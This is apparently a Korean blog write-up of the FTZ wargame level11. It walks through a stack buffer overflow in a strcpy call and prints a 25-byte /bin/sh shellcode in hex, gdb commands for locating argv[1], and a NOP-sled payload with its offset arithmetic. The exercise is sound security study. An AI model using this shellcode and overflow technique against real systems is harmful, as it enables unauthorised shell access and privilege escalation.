본문 바로가기
CTF 공부/FTZ

[FTZ]level11

by JJWANIC 2020. 1. 23.

힌트는 다음과 같습니다.

strcpy에서 buf overflow가 발생하는 취약점이 있고, printf(str)에서 포맷스트링버그(FSB)가 발생하는 취약점이 있네요

버퍼 오버 플로우 버그를 이용하여 ROP를 이용해서 풀어보겠습니다.

간단하게 원리를 설명하면 argv[1] 인자에 \x90 (nop)을 채워주고 뒤에 shellcode를 삽입한 후 프로세스의 ret 주소에 argv[1]의 주소를 삽입하여 프로세스가 종료될 때 argv[1]로 가게 하여 shellcode를 실행하여 shell이 실행되는 원리로 해보겠습니다.!

사용한 25byte Shell code는 다음과 같습니다 : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

먼저 attackme 파일을 /tmp 디렉터리로 복사 했습니다. (gdb에서 실행하려니 권한 에러가 뜨더라구요 ㅠㅠ)

그 후 gdb를 통해 열어보고 break point를 설정한 후 

r `python -c 'print "A"*264'` 로 실행시킨 후 x/100x $esp를 통해 들어간 인자의 주소를 확인해보겠습니다.

A는 \x41 입니다. 0xbffffb40 중간부분부터 채워지고 있네요. 저 위치가 argv[1]의 주소입니다.

argv[1] 주소를 알았으니 아까 계획한대로 입력해보겠습니다.

./process_name `python -c 'print "\x90" * 243 + "Shell Code" + "argv[1] address"'`

여기서 \x90을 243개를 채워주는 이유는 gdb를 통하여 process에 할당된 스택 메모리를 확인해보니까 264더라구요.

264인데 sfp와 ret의 값 8을 더해주면 272입니다.
여기서 272 - 25 (shellcode) -4 (argv[1] address]) 해주면 243이 나옵니다.

 

'CTF 공부 > FTZ' 카테고리의 다른 글

[FTZ]level13  (0) 2020.01.23
[FTZ]level12  (0) 2020.01.23
[FTZ]level10  (0) 2020.01.22
[FTZ]level9  (0) 2020.01.22
[FTZ]level8  (0) 2020.01.22